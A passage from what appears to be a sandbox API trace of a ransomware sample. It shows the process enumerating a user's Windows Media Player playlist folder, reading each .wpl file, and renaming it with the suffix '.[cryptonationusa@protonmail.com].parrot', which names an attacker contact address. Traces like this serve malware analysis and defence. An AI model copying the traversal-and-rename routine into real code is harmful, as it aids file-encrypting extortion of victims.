ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.738] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.738] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0076.739] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0076.739] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0076.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aab48 [0076.739] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.739] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.739] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.739] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.739] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.739] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0000E713", cAlternateFileName="")) returned 1 [0076.739] lstrcmpW (lpString1="0000E713", lpString2=".") returned 1 [0076.739] lstrcmpW (lpString1="0000E713", lpString2="..") returned 1 [0076.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0076.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6aca90 [0076.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x6aedf8 [0076.740] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0076.743] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.743] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.745] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0076.745] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0076.745] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.745] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.747] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.747] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x414, lpOverlapped=0x0) returned 1 [0076.747] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.748] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.748] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.752] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.753] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.754] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x4ff, lpOverlapped=0x0) returned 1 [0076.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.754] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.754] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\02_Music_added_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\02_music_added_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.758] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.758] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.759] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.759] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x4f3, lpOverlapped=0x0) returned 1 [0076.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.760] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.760] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.760] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\03_Music_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\03_music_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.770] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.770] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.772] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.772] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x504, lpOverlapped=0x0) returned 1 [0076.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.772] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.773] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.776] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.776] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.778] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.778] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x31d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x31d, lpOverlapped=0x0) returned 1 [0076.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.778] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.779] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.783] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.783] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.785] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.786] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x311, lpOverlapped=0x0) returned 1 [0076.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.786] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.786] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.790] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.790] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.791] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.792] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x410, lpOverlapped=0x0) returned 1 [0076.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.792] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.792] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\07_TV_recorded_in_the_last_week.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\07_tv_recorded_in_the_last_week.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.796] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.796] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.798] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.798] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x3fc, lpOverlapped=0x0) returned 1 [0076.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.799] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.799] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.802] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.802] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.803] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.803] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x401, lpOverlapped=0x0) returned 1 [0076.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.804] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.804] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.807] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.807] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.810] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.810] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x427, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x427, lpOverlapped=0x0) returned 1 [0076.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0076.810] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0076.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0076.813] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.817] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.817] ReadFile (in: hFile=0x268, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0076.818] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.818] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x249, lpOverlapped=0x0) returned 1 [0076.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 